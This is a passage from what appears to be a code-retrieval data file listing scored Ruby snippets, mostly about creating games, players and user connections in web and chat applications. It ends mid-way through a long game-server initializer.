}, { "docid": "785aa98da77aa61d47a99cae4262510e", "score": "0.58015025", "text": "def connect\n puts \"joining game #{$opts[:game]}\"\n request = Net::HTTP::Post.new \"/game/#{$opts[:game]}/join\"\n request.add_field \"X-Sm-Playermoniker\", $opts[:name]\n response = $http.request(request)\n unless response.code.to_i == 200\n raise \"bad response: #{response.inspect}\"\n end\n @playerid = response['X-Sm-Playerid']\n status = JSON.parse response.body\n $config = status.delete('config')\n update_status(status)\n end", "title": "" }, { "docid": "a6a5fe3cee4c37855ffcd430513afedc", "score": "0.5795433", "text": "def create_user_two_connection(options, params:, current_user:, **)\n conn_params = {\n user_id: params[:connected_to_id],\n connected_to_id: current_user.id,\n status: 'pending'\n }\n options[:friend] = Create.(\n params: conn_params, current_user: current_user\n )\n options[:friend].success?\n end", "title": "" }, { "docid": "bd5051d0a46ef8d73503f688fa767a8f", "score": "0.5793817", "text": "def create\n logger.info \"[Application] Incoming call #{params[:From]}\"\n \n player = Player.find_or_create_with_params(params)\n player.caller = params[:Caller]\n player.save\n \n logger.info(\"[Application] Player ID: #{player.id}\")\n logger.info(\"[Application] Game ID: #{player.game.id}\") if player.game\n logger.info(\"[Application] Game Active: #{player.game.active}\") if player.game\n logger.info(\"[Application] Game Dead: #{player.game.dead?}\") if player.game\n \n if player.game && player.game.active && !player.game.dead?\n \n # Game.any_of({:updated_at.gt => Time.now - 10.minutes, :active => true}, {:updated_at.gt => Time.now - 2.minutes, :active => false})\n # player.hungup = false # This is done when the player is called again\n logger.info(\"[Application] Picking player's current game\")\n game = player.game\n else\n logger.info(\"[Application] Picking first game available\")\n game = Game.first(:conditions => {:available => true})\n end\n \n logger.info(\"[Application] Current player count: #{game.players.count}\") if game\n \n if game\n # Add player 2 to game\n if game.players.count == 1 && game.players.first.id != player.id\n logger.info(\"[Application] Adding player two to game\")\n game.player_two = player.phone_number\n player.game = game\n game.start\n game.save\n end\n else\n logger.info(\"[Application] Creating new game\")\n game = Game.new\n game.setup\n player.game = game\n game.player_one = player.phone_number\n game.available = true\n end\n game.save\n player.save\n \n verb = Twilio::Verb.new { |v|\n v.redirect \"/games/#{game.id}/gather.xml\"\n }\n \n respond_to do |format|\n if player.save\n format.xml { render :xml => verb.response } # , :status => :created\n else\n logger.info \"[Application] Incoming call error\"\n format.xml { render :xml => player.errors, :status => :unprocessable_entity }\n end\n end\n\n \n # @incoming_call = IncomingCall.new(params[:incoming_call])\n # \n # respond_to do |format|\n # if @incoming_call.save\n # format.html { redirect_to(@incoming_call, :notice => 'Incoming call was successfully created.') }\n # format.xml { render :xml => @incoming_call, :status => :created, :location => @incoming_call }\n # else\n # format.html { render :action => \"new\" }\n # format.xml { render :xml => @incoming_call.errors, :status => :unprocessable_entity }\n # end\n # end\n end", "title": "" }, { "docid": "51afeb0268605d47b3e610e4307dd05c", "score": "0.57623804", "text": "def connect_to!(user)\n Connection.create_pending_connections(self, user)\n end", "title": "" }, { "docid": "206a9cba35f5e35c167dc7644e3108b6", "score": "0.57527745", "text": "def create\n @connection = current_user.connections.new(params[:connection])\n @connection.type = params[:type]\n\n respond_to do |format|\n if @connection.save\n format.html { redirect_to(@connection, :notice => 'Account was successfully created.') }\n format.json { render :json => @connection, :status => :created, :location => @connection }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @connection.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25732cdbafcad8182a914280755c9816", "score": "0.5726416", "text": "def new\n\t\t@game = current_user.games.create(status: \"new\" )\n\t\t@game.players.first.add_initial_player_to_game\n\tend", "title": "" }, { "docid": "c98045ef398622c5699e2a1610407491", "score": "0.57141405", "text": "def create_game(user_name, players, game_type)\n hostname, port, game_id = @broker_proxy.create_game(user_name, players, game_type)\n game_proxy = RClient.new(hostname, port, 'gameshost')\n client_proxy = HostEventProxy.new(game_id, game_proxy)\n\n pid = Thread.new {\n server = XMLRPC::Server.new(next_port, ENV['HOSTNAME'])\n server.add_handler(HostEventProxy::INTERFACE, client_proxy)\n server.serve\n true\n }\n @game_list.push({:thread => pid, :id => game_id})\n game_proxy.register_client(game_id, user_name, ENV['HOSTNAME'], 50501)\n puts 'now starting view'\n GameView.new(client_proxy)\n end", "title": "" }, { "docid": "2fce75a3acf8c25e5150aa839fb1ebfe", "score": "0.5696694", "text": "def create\n connect_name = Connect::SUPPORTED_CONNECTS.find { |c| !params[\"connect_#{c}\"].nil? }\n raise \"Connect doesn't exists\" if connect_name.nil?\n \n opts = params.require(\"connect_#{connect_name}\")\n\n connect = Connect::class_for(connect_name).new(opts)\n\n if connect.existing_connect.nil?\n connect.user = User.create(email: connect.email, full_name: connect.full_name, locale: connect.locale)\n avatar_url = connect.avatar_url\n unless avatar_url.nil?\n connect.user.upload_avatar({ \"url\" => avatar_url }, :url)\n end\n \n connect.save!\n unless connect.is_a?(Connects::Login)\n new_password = SecureRandom.hex[0..8]\n login_data = { \"email\" => connect.email, \"password\" => Digest::SHA1.hexdigest(new_password) }\n connect_login = Connects::Login.new(login_data).tap { |c| c.user_id = connect.user.id }\n connect_login.save\n \n connect.user.update! confirmation: true\n else\n connect.user.send_confirmation_mail if Rails.env.production?\n end\n \n Backend::Helper::slack_ping(\"New user with name #{connect.user.full_name} and email #{connect.user.email}\")\n else\n raise \"This user is already exists\" if connect.is_a?(Connects::Login)\n connect.user = User.find_by_email(connect.email)\n end\n\n unless params[\"referral_token\"].nil?\n rtoken = params[\"referral_token\"]\n inviter = connect.user.find_by_referral_token rtoken, give_reward: true\n end\n\n token = Token.new connect.user\n token.generate_token\n\n opts = {\n :auth_token => token.token,\n :expires => token.expires,\n :user => connect.user.to_api(layers: [:private])\n }\n \n render response_ok opts\n end", "title": "" }, { "docid": "b3cda2b920ad4a916fdccb9adfa0d819", "score": "0.56764054", "text": "def create_battle(opponentName)\n\tif (DBTools.new.getPlayerId(session['sessionid']) == false)\n\t\treturn 'not logged in'\n\telse\n\t\tplayerid = DBTools.new.getPlayerId(session['sessionid']);\n\tend\n\t\n\tbegin\n\t\tconn = DBTools.new.connectToDB()\n\t\topponentName = conn.escape_string(opponentName);\n\t\tconn.transaction do\n\t\t\tquery = \"INSERT INTO battles VALUES (default, #{playerid}, (SELECT userid FROM users WHERE name='#{opponentName}' AND userid<>#{playerid}), default, default, default, default);\"\n\t\t\tconn.exec(query)\n\t\t\tquery = \"INSERT INTO users_notify VALUES ((SELECT userid FROM users WHERE name='#{opponentName}' LIMIT 1), (SELECT battleid FROM battles ORDER BY battleid DESC LIMIT 1), true);\"\n\t\t\tconn.exec(query)\n\t\tend\n\trescue\n\t\tconn.finish()\n\t\treturn 'invalid'\n\tend\n\tconn.finish()\n\treturn 'success'\nend", "title": "" }, { "docid": "679478e6e493c5b408ec03bb2309a9a1", "score": "0.56394124", "text": "def create(id, token)\n fail SlackBotManager::TokenAlreadyConnected if find_connection(id)\n\n # Create connection\n conn = SlackBotManager::Client.new(token)\n conn.connect\n\n # Add to connections using a uniq token\n if conn\n cid = [id, Time.now.to_i].join(':')\n connections[cid] = conn\n info(\"Connected: #{id} (Connection: #{cid})\")\n storage.set(teams_key, id, 'active')\n end\n rescue => err\n on_error(err)\n end", "title": "" }, { "docid": "9534797807a5c5c8c89715fadc61726a", "score": "0.55959946", "text": "def _respond_to_game_creation purpose, index, body, db, client, client_actual_id\n\n row = body[0]\n col = body[1]\n p1token = body[2]\n p2token = body[3]\n p1pat = body[4]\n p2pat = body[5]\n\n gameid = db.createNewGame row, col, p1token, p2token, p1pat, p2pat, client_actual_id\n\n client.puts '%s %s %s' % [purpose, index, gameid]\n end", "title": "" }, { "docid": "1aa2c58b927eb09bd8689efb5854e23e", "score": "0.55891424", "text": "def create\n @connection = Connection.new(connection_params_create.merge(status: Connection.statuses['active']))\n\n respond_to do |format|\n if @connection.save\n format.html { redirect_to @connection, notice: 'Connection was successfully created.' }\n format.json { render :show, status: :created, location: @connection }\n else\n format.html { render :new }\n format.json { render json: @connection.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3388f4bc0c6a184213b9bdb409ba2499", "score": "0.55782044", "text": "def new_game\n uri = URI(\"#{SERVER_ADDRESS}/new_game\")\n response = Net::HTTP.get(uri)\n\n game_id = JSON.parse(response)[\"game_id\"]\n end", "title": "" }, { "docid": "27072ca674a2eaf4fea0b9610f5d0dec", "score": "0.55758864", "text": "def create\n# ct = connection_params[:connection_type].to_i\n# if (!ct.nil?)\n# if (ct == 1) # follow\n self.localfollow connection_params\n# elsif (ct == 2) #friend\n# self.localaddfriend connection_params\n# else\n# respond_to do |format|\n# format.json { render json: {error_message: \"invalid connection type\"}, status: :unprocessable_entity }\n# end\n# end\n# else\n# respond_to do |format|\n# format.json { render json: {error_mesage: \"missing connection type\"}, status: :unprocessable_entity }\n# end\n# end\n end", "title": "" }, { "docid": "87fb167f20c9812dcbfcd8d13802ed63", "score": "0.5568481", "text": "def create\n user_connection_method = params[:user][:connection_method][:chat_connection]\n session[:connection_method] = user_connection_method\n super\n end", "title": "" }, { "docid": "9c8f984d40b72e08af4198e399825b61", "score": "0.5555775", "text": "def creating_player(account_id: 0, nickname: \"\", gk_player_id: \"\")\n\t\tguest_id = Ohm.redis.get(Player.key[:id]).to_i + 1\n\t\tnkname = nickname.blank? ? \"Player_#{guest_id}\" : nickname\n\n\t\tPlayer.create :account_id \t=> account_id,\n\t\t\t\t\t\t\t\t\t:nickname\t\t\t=> nkname,\n\t\t\t\t\t\t\t\t\t:device_token => @device_token,\n\t\t\t\t\t\t\t\t\t:gk_player_id => gk_player_id\n\tend", "title": "" }, { "docid": "2e91c3706e604a2e2a010d7825bac7c7", "score": "0.55523264", "text": "def create\n request = ConnectionRequest.new(connection_request_params)\n request.user = current_user\n if request.save!\n request_to = User.find_by uuid: request.to\n Notification.post(from: current_user, notifiable: current_user, to: request_to, action: Notification::NOTIFICATION_TYPE_FRIEND_REQUEST)\n flash[:success] = \"Connection request was successfully sent to #{request_to.name}.\"\n redirect_to friends_path\n else\n flash[:error] = 'Something went wrong please try again.'\n redirect_back(fallback_location: friends_path)\n end\n end", "title": "" }, { "docid": "23cf81290fc6498bdfb0d6c22bd6fcdf", "score": "0.5526747", "text": "def user_created(m)\n\t\tresp = JSON.parse(m)\n\t\tif resp['command_id'] == @command_id\n\t\t\t@mutex.synchronize do\n\t\t\t\t@player_channel = new_channel(resp['url'], resp['capability'])\n\t\t\t\t@player_updates = new_sub(resp['response_url'], resp['response_capability'])\n\t\t\t\t@player_id = resp['player_id']\n\t\t\tend\n\t\telse\n\t\t\t#puts \"Registration response for someone else\"\n\t\tend\n\tend", "title": "" }, { "docid": "4663de9d31e40c329bb5a0842a006c99", "score": "0.551114", "text": "def create\n @game = Game.new(params[:game])\n\n # the current user is the creator of this game\n @game.fk_creator_id = session['user']\n\n # use ivanhoe's keyspace table for unique id\n keyspace = Keyspace.find( :first, :conditions => \"tablename = 'game'\" )\n @game.id = keyspace.next_value\n \n respond_to do |format|\n if @game.save \n keyspace.next_value = keyspace.next_value + 1\n keyspace.save \n @game.update_guest_list\n flash[:notice] = 'Game was successfully created.'\n format.html { redirect_to game_url(@game) }\n format.xml { head :created, :location => game_url(@game) }\n else\n @player_list = Player.find(:all, :order => 'lname')\n format.html { render :action => \"new\" }\n format.xml { render :xml => @game.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "a4f94d551d2828e6fb08678cd6f3602a", "score": "0.55044436", "text": "def create\n ActiveRecord::Base.transaction do\n game = Game.create!(:name => params[:game_name])\n game.player1 = PlayerState.create!(\n :name => params[:player],\n :word => params[:word],\n :board => (65..90).to_a.map { |c| \"#{c.chr}-\" }.join(\" \"),\n :game => game,\n :device_token => params[:device_token]\n )\n game.save!\n\n render_json(:game => compose_game(game, game.player1.name))\n end\n rescue => e\n render_error_json(\"Can't create game. #{e.message}\")\n end", "title": "" }, { "docid": "36dcb6dc3409b85b47556967b6b3f311", "score": "0.5486017", "text": "def new\n @connection = current_user.connections.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @connection }\n end\n end", "title": "" }, { "docid": "da3d6b1abdd692d25069e0ee95ead4f0", "score": "0.54845166", "text": "def add_connection_details\n @command.push(\"-h #{host}\")\n @command.push(\"-u #{user}\")\n @command.push(\"-p #{password}\") if password.present?\n end", "title": "" }, { "docid": "8fd0ab66910347ebf6e26d3e98f66b39", "score": "0.5483204", "text": "def new_game\n @wins = 0\n @losses = 0\n @draws = 0\n @db.execute(\"INSERT INTO games VALUES(null,?,?,?,?,?,?)\", @args + \n [Time.now.to_i])\n @game_id = @db.last_insert_row_id\n end", "title": "" }, { "docid": "ae95d69009a839a8951894b9d7a09948", "score": "0.5478591", "text": "def create\n\n @connection = Connection.new(user_id: current_user.id, organization_id: params[:id], admin: false)\n if @connection.save\n redirect_to organization_path(@connection.organization), notice: 'Connection to organization has been established.'\n else\n render \"/organizations/index\", notice: 'Connection was not made'\n end\n end", "title": "" }, { "docid": "75f4a2f5ebfd795ad8035c118f51f387", "score": "0.5475178", "text": "def create(p1, p2, game_type, gb)\n raise UserDoesNotExist unless user_exists?(p1) and user_exists?(p2)\n raise ArgumentError.new(\"You cannot play against yourself\") if p1 == p2\n raise GameAlreadyInProgress if active_game?(p1, p2)\n\n game_id = @uuid.generate\n\n query(load_query('create_game'),\n game_id, game_type, p1, p1, p2, gb)\n\n { game_id: game_id }\n end", "title": "" }, { "docid": "224763773c72f4b5b6eea9c546425cb7", "score": "0.5459952", "text": "def create_game_session\n game_session = UserGameSession.new\n game_session.token = SecureRandom.urlsafe_base64\n game_session.user_id = current_user.id\n game_session.game_id = @game.id\n game_session.credits_earned = 0\n game_session.active = true\n game_session.score = score\n game_session.arrival_id = session[:arrival_id]\n game_session.save\n if !session[:game_token].nil?\n old_game = UserGameSession.where(token:session[:game_token]).first\n\n #close previous game game just in case\n if old_game\n old_game.active = false\n old_game.save\n end\n\n end\n session[:game_token] = game.token\n end", "title": "" }, { "docid": "e4eac0abf19b0d3f13d0b417bedcfc71", "score": "0.54590106", "text": "def create\n # boardレコードの新規作成\n if find_board_by_user().nil?\n user = User.find_by(id: session[:user_id])\n Board.create!(my_hash: generate_hash(), user_id: user.id, draw_data: 'None')\n logger.debug(\"Create Board\")\n else\n logger.debug(\"Board Already Exists\")\n end\n \n logger.debug(session[:user_id])\n end", "title": "" }, { "docid": "893c70493daac98a207ab4bb79abb2bf", "score": "0.54557896", "text": "def create\n # Allocate a new user slot\n userid = allocate_id(resource[:name])\n\n # Munge any data from internal to provider format\n callin = to_enable(resource[:callin])\n ipmi = to_enable(resource[:ipmi])\n link = to_enable(resource[:link])\n privilege = to_priviege(resource[:privilege])\n\n # Create the user\n execute(\"ipmitool user enable #{userid}\")\n execute(\"ipmitool user set name #{userid} #{resource[:name]}\")\n execute(\"ipmitool user set password #{userid} #{resource[:password]}\")\n execute(\"ipmitool channel setaccess #{@channel} #{userid} callin=#{callin} ipmi=#{ipmi} link=#{link} privilege=#{privilege}\")\n\n # Update the property hash\n @property_hash = {\n :ensure => :present,\n :userid => userid,\n :name => resource[:name],\n :password => resource[:password],\n :callin => resource[:callin],\n :link => resource[:ipmi],\n :ipmi => resource[:link],\n :privilege => resource[:privilege],\n }\n end", "title": "" }, { "docid": "a653cdcae820ca6518e8ae3c62bfc553", "score": "0.54509187", "text": "def create(current_user, data)\n public_key = current_user.public_key\n\n target_username = data[:username]\n digest = data[:digest]\n signature = data[:signature]\n\n # before we do anything we need to validate the signature\n @identity_service.validate_signature digest, signature, public_key\n\n # next we need to confirm that the requested target user exists\n target_user = @user_repository.get_by_username target_username\n raise IdentityError, USER_NOT_FOUND if target_user == nil\n\n # now check that a connection between these users doesn't already exist\n existing_connection = @connection_repository.get_any_existing_connection current_user.id.to_s, target_user.id.to_s\n raise IdentityError, CONNECTION_ALREADY_EXISTS if existing_connection != nil\n\n # finally, create the contact request\n result = @connection_repository.create current_user, target_user\n\n {\n :id => result.id,\n :status => result.status,\n :user => {\n :type => 'target',\n :username => target_user.username,\n :first_name => target_user.first_name,\n :last_name => target_user.last_name\n }\n }\n\n end", "title": "" }, { "docid": "f97b3262657be9dad392ce3cac16bcad", "score": "0.54471225", "text": "def create\n\t\t@connection = Connection.new params[:connection]\n\t\tif @connection.save\n\t\t\tredirect_to @connection\n\t\telse\n\t\t\trender :new\n\t\tend\n\tend", "title": "" }, { "docid": "d11ee069d6aa32d2c868b55955a1003b", "score": "0.5437603", "text": "def create\n @game = Game.create(params[:game])\n\n if params[:new_player_email].present?\n if User.find_by_email(params[:new_player_email])\n @user = User.find_by_email(params[:new_player_email])\n @game.player2_id = @user.id\n UserMailer.challenge_invitation_already_user(current_user, @user, @game).deliver\n else\n @new_user = User.create({\n email: params[:new_player_email],\n password: \"tictacshow\",\n password_confirmation: \"tictacshow\",\n })\n @game.player2_id = @new_user.id\n UserMailer.challenge_invitation(current_user, @new_user, @game).deliver\n end\n end\n\n @game.player1_id = current_user.id\n\n if @game.player2_id == 1\n @game.challenge_accepted = true\n end\n\n @game.users << current_user\n @game.users << User.find(@game.player2_id)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9d1a5e59302872de47b077e269c4a6c1", "score": "0.54372287", "text": "def create_new_singlegame_window(game_network_type)\n game_info = @supported_game_map[@last_selected_gametype]\n options = {:game_network_type => game_network_type, :app_options => @app_settings,\n :model_data => @model_net_data,\n :game_type => @last_selected_gametype,\n :owner => self, :comment => game_info[:desc], \n :num_of_players => game_info[:num_of_players],\n :control_net_conn => @control_net_conn,\n :gfx_enginename =>game_info[:class_name].to_s \n }\n \n @singe_game_win = CupSingleGameWin.new(options)\n @singe_game_win.create\n return @singe_game_win\n end", "title": "" }, { "docid": "700ab984d8fa87f171f4f4e84697b58e", "score": "0.54368085", "text": "def accept\n Connection.create(user: self.user, contact: self.contact)\n Connection.create(user: self.contact, contact: self.user)\n destroy\n end", "title": "" }, { "docid": "b16031b5c47b9b6f05225510f9618e11", "score": "0.5432948", "text": "def create_player\n raw_data = @api.create_player\n data = Serializer.parseData(raw_data)\n\n Account.new(\n data.dig(0, 0, 0).to_i,\n data.dig(0, 0, 1),\n data.dig(0, 0, 2)\n )\n end", "title": "" }, { "docid": "0671173fd45d54641ce28995278ffcfd", "score": "0.543049", "text": "def create\n @game = current_user.games.new(params[:game])\n # @game.users << current_user\n # @game.users[current_user.id].update(owner: true)\n join = GameUserJoin.create(user_id: current_user.id, owner: true)\n @game.game_user_joins << join\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b1032d8b9c35294d624cc06d4eac4a51", "score": "0.5430151", "text": "def req_new_game(request, response, params)\n raise NotFound unless params.has_key? 'name'\n name = CGI.escape(params['name'][0])\n unless @sessmgr.get_session(name)\n # Right here we could make the remote user the owner of the session\n # or something...\n @sessmgr.new_session(name)\n end\n redirect_to(request, response, \"#{request.params['REQUEST_PATH']}#{name}/\")\n end", "title": "" }, { "docid": "37ca137536d7459cae615fc723c1c256", "score": "0.54234225", "text": "def create\n # Fetch parameters from form and send them to view.\n @player1_name = params[:player1_name].to_s\n @player2_name = params[:player2_name].to_s\n\n # Create new game and mark flag as game on\n @@tic_tac_toe_game = TicTacToeGame.new()\n @@game_on = true\n end", "title": "" }, { "docid": "b7d646f3a7c4b105eccdf87fea2e548c", "score": "0.54224646", "text": "def create\n\n # Create a new record of \"games\" to create a new game\n @game = Game.new(params[:game])\n @game.status = $GAME_STATUS_WAITING\n\n respond_to do |format|\n if @game.save\n # Create a new \"game_player\" for this game creator to join the game\n new_player = GamePlayer.new(:user_id => current_user.id,\n :game_id => @game.id,\n :player_number=> 0, # first player number starts with zero\n :status => $GAME_PLAYER_STATUS_WAITING )\n new_player.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "934166e4b97519ab25af23c5a805f643", "score": "0.5417417", "text": "def create\n @game = Game.new(game_params)\n @game.creator_id = @auth_player.id\n @game.game_status = \"not_started\"\n respond_to do |format|\n if @game.save\n g = GamesPlayers.new\n g.player_id = @auth_player.id\n g.game_id = @game.id\n g.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n else\n format.html { render action: 'new' }\n end\n end\n end", "title": "" }, { "docid": "47fabf86c0bf2b4f79583415b26dc69e", "score": "0.5415038", "text": "def create_connection\n raise NotImplementedError\n end", "title": "" }, { "docid": "4b02586154719d62930340b9d3503f9f", "score": "0.541154", "text": "def create_client\n\t\t\n\n\t\t##we want to create a new client, provided that there is no client for this user id.\n\t\t##if a client already exists, then we dont want to do anything.\n\t\t##when we create the client we want to be sure that \n\t\t##provided that there is no client with this user id.\n\t\t#puts \"called create client.\"\n\n\t\t##first find out if there is already a client for this user id.\n\t\tc = Auth::Client.new(:api_key => SecureRandom.hex(32), :resource_id => self.id)\n\n\t\tputs \"Came to create a client.\"\n\n\t\tc.versioned_create({:resource_id => self.id})\n\t\top_count = 10\n\n\t\tputs \"-------CREATED A CLIENT AS FOLLOWS:-----------\"\n\t\tputs c.attributes.to_s\n\n\t\twhile(true)\n\t\t\t\n\t\t\tif c.op_success?\n\t\t\t\t#puts \"the op was a success\"\n\t\t\t\tbreak\n\t\t\telsif op_count == 0\n\t\t\t\t#puts \"op count was 0\"\n\t\t\t\tbreak\n\t\t\telsif (Auth::Client.where(:resource_id => self.id).count == 0)\n\t\t\t\t#puts \"tried to create here.\"\n\t\t\t\tc.api_key = SecureRandom.hex(32)\n\t\t\t\tc.versioned_create({:resource_id => self.id})\n\t\t\t\top_count-=1\n\t\t\telse\n\t\t\t\t#puts \"finally broke.\"\n\t\t\t\tbreak\n\t\t\tend\n\n\n\t\tend\n\n\tend", "title": "" }, { "docid": "a01bfbc883a0e3ccc15e4ac85959c5e8", "score": "0.5407888", "text": "def create_connect(address, port)\n index = @connects.length\n connection = Connection.new\n connection.socket = TCPSocket.new(address, port)\n connection.ip = address\n connection.port = port\n connection.last_time = Time.now\n id = connection.id = get_id_by_ip(address, port)\n connection.is_alive = true\n @connects[index] = connection\n return [index, id]\n end", "title": "" }, { "docid": "83c121756428571f5e7daca2a9cf8030", "score": "0.53975266", "text": "def initialize\r\n\r\n # @type [TCPServer]\r\n # The TCPServer object\r\n @server = nil\r\n\r\n # @type [Sequel::Database]\r\n # The database connection\r\n @db = nil\r\n\r\n # @type [Float]\r\n # The time at the beginning of the frame.\r\n @frame_time = 0.0\r\n \r\n # @type [Integer]\r\n # Frame count - goes up by 1 every frame (:\r\n @frame_count = 0\r\n\r\n # @type [Room]\r\n # The room that new characters start in.\r\n @starting_room = nil\r\n \r\n # @type [Boolean]\r\n # When this is set to `true`, the game will reload on the next frame.\r\n @reload = false\r\n\r\n # -- Database tables --\r\n\r\n # @type [Hash{Symbol => Integer, Float, String}]\r\n # Hash with values for next_uuid, login_splash, etc\r\n @game_settings = Hash.new\r\n\r\n # @type [Hash{Integer => Hash{Symbol => Integer}}]\r\n # Shops table as hash. Uses :mobile_id as key.\r\n @shop_data = Hash.new\r\n\r\n # @type [Hash{Integer => Hash{Symbol => Integer, String}}]\r\n # Helps table as hash (uses :id as key)\r\n @help_data = Hash.new\r\n\r\n # @type [Hash{Integer => Hash{Symbol => Integer, String}}]\r\n # Socials table as hash (uses :id as key)\r\n @social_data = Hash.new\r\n\r\n # @type [Hash{Integer => Hash{Symbol => Integer, String}}]\r\n # Accounts table as hash (uses :id as key)\r\n @account_data = Hash.new\r\n\r\n # @type [Hash{Integer => Hash{Symbol => Integer, String}}]\r\n # Players table as hash (uses :id as key)\r\n @saved_player_data = Hash.new\r\n \r\n # -- end Database Tables --\r\n\r\n # -- players table IDs --\r\n\r\n # @type [Integer]\r\n # max id in database table players\r\n @saved_player_id_max = 0\r\n\r\n # @type [Integer]\r\n # max id in database table player_affects\r\n @saved_player_affect_id_max = 0\r\n\r\n # @type [Integer]\r\n # max id in database table player_items\r\n @saved_player_item_id_max = 0\r\n \r\n # @type [Integer]\r\n # max id in database table player_item_affects\r\n @saved_player_item_affect_id_max = 0\r\n\r\n # -- end players table IDs --\r\n\r\n # @type [Hash{Integer => Class}]\r\n # Affect classes as hash (uses :id as key)\r\n @affect_class_hash = Hash.new\r\n\r\n # -- Resets -- \r\n\r\n # @type [Array<MobileReset>]\r\n # Mobile resets in an array.\r\n @mobile_resets = []\r\n\r\n # @type [Array<ItemReset>]\r\n # Item resets in an array.\r\n @item_resets = []\r\n\r\n # @type [Array<Reset>]\r\n # Array of Resets waiting to pop - sorted by reset.pop_time (ascending)\r\n @active_resets = []\r\n\r\n # @type [Boolean]\r\n # When the game starts or reloads, this is set to `true`. When initial resets are completed,\r\n # a message is logged and this is set to `false`.\r\n @initial_reset = true\r\n\r\n # -- End Resets --\r\n\r\n # -- Models --\r\n\r\n # @type [Hash{Integer => Class}]\r\n # Hash of item model classes - uses item_type_id as key\r\n @item_model_classes = Hash.new\r\n\r\n # @type [Hash{Integer => ItemModel}]\r\n # Hash of item models (uses :id as key)\r\n @item_models = Hash.new\r\n\r\n # @type [Hash{Integer => MobileModel}]\r\n # Hash of mobile models (uses :id as key)\r\n @mobile_models = Hash.new\r\n\r\n # -- end Models --\r\n\r\n # -- Data Objects --\r\n\r\n # @type [Hash{Integer => Direction}]\r\n # hash of Direction objects (uses :id as key)\r\n @directions = Hash.new\r\n\r\n # @type [Hash{Integer => Element}]\r\n # hash of Element objects (uses :id as key)\r\n @elements = Hash.new\r\n\r\n # @type [Hash{Integer => EquipSlotInfo}]\r\n # hash of EquipSlotInfo objects (uses :id as key)\r\n @equip_slot_infos = Hash.new\r\n \r\n # @type [Hash{Integer => Gender}]\r\n # hash of Gender objects (uses :id as key)\r\n @genders = Hash.new\r\n\r\n # @type [Hash{Integer => Genre}]\r\n # hash of Genre objects (uses :id as key)\r\n @genres = Hash.new\r\n \r\n # @type [Hash{Integer => Material}]\r\n # hash of Material objects (uses :id as key)\r\n @materials = Hash.new\r\n \r\n # @type [Hash{Integer => MobileClass}]\r\n # hash of MobileClass objects (uses :id as key)\r\n @mobile_classes = Hash.new\r\n \r\n # @type [Hash{Integer => Noun}]\r\n # hash of Noun objects (uses :id as key)\r\n @nouns = Hash.new\r\n \r\n # @type [Hash{Integer => Position}]\r\n # hash of Position objects (uses :id as key)\r\n @positions = Hash.new\r\n \r\n # @type [Hash{Integer => Race}]\r\n # hash of Race objects (uses :id as key)\r\n @races = Hash.new\r\n \r\n # @type [Hash{Integer => Sector}]\r\n # hash of Sector objects (uses :id as key)\r\n @sectors = Hash.new\r\n \r\n # @type [Hash{Integer => Size}]\r\n # hash of Size objects (uses :id as key)\r\n @sizes = Hash.new\r\n \r\n # @type [Hash{Integer => Stat}]\r\n # hash of Stat objects (uses :id as key)\r\n @stats = Hash.new\r\n \r\n # @type [Hash{Integer => WearLocation}]\r\n # hash of WearLocation objects (uses :id as key)\r\n @wear_locations = Hash.new\r\n\r\n # @type [Hash{Symbol => Direction}]\r\n # Hash of directions with symbol as key\r\n @direction_lookup = nil\r\n\r\n # @type [Hash{Symbol => Element}]\r\n # Hash of elements with symbol as key\r\n @element_lookup = nil\r\n \r\n # @type [Hash{Symbol => Gender}]\r\n # Hash of genders with symbol as key\r\n @gender_lookup = nil\r\n \r\n # @type [Hash{Symbol => Genre}]\r\n # Hash of genres with symbol as key\r\n @genre_lookup = nil\r\n \r\n # @type [Hash{Symbol => Material}]\r\n # Hash of materials with symbol as key\r\n @material_lookup = nil\r\n \r\n # @type [Hash{Symbol => Noun}]\r\n # Hash of nouns with symbol as key\r\n @noun_lookup = nil\r\n \r\n # @type [Hash{Symbol => Position}]\r\n # Hash of positions with symbol as key\r\n @position_lookup = nil\r\n \r\n # @type [Hash{Symbol => Sector}]\r\n # Hash of sectors with symbol as key\r\n @sector_lookup = nil\r\n \r\n # @type [Hash{Symbol => Size}]\r\n # Hash of sizes with symbol as key\r\n @size_lookup = nil\r\n \r\n # @type [Hash{Symbol => Stat}]\r\n # Hash of stats with symbol as key\r\n @stat_lookup = nil\r\n\r\n # @type [Hash{Symbol => WearLocation}]\r\n # Hash of wear locations with symbol as key\r\n @wear_location_lookup = nil\r\n\r\n # -- End Data Objects --\r\n\r\n # -- GameObjects --\r\n\r\n # @type [Hash{Integer => GameObject}]\r\n # GameObjects as hash (uses :uuid as key)\r\n @gameobjects_by_uuids = Hash.new\r\n\r\n # @type [Hash{Integer => Continent}]\r\n # Continent objects as hash (uses :id as key)\r\n @continents = Hash.new\r\n\r\n # @type [Hash{Integer => Area}]\r\n # Area objects as hash (uses :id as key)\r\n @areas = Hash.new\r\n\r\n # @type [Hash{Integer => Room}]\r\n # Room objects as hash (uses :id as key)\r\n @rooms = Hash.new\r\n\r\n # @type [Hash{Integer => Exit}]\r\n # Exit objects as hash (uses :id as key)\r\n @exits = Hash.new\r\n\r\n # @type [Set<Mobile>]\r\n # Mobiles that are engaged in combat.\r\n @combat_mobs = Set.new\r\n\r\n # @type [Set<Mobile>]\r\n # Mobiles that are not at full heath/mana/movement.\r\n @regen_mobs = Set.new\r\n\r\n # @type [Set<GameObject>]\r\n # GameObjects with at least one active cooldown.\r\n @cooldown_objects = Set.new\r\n\r\n # @type 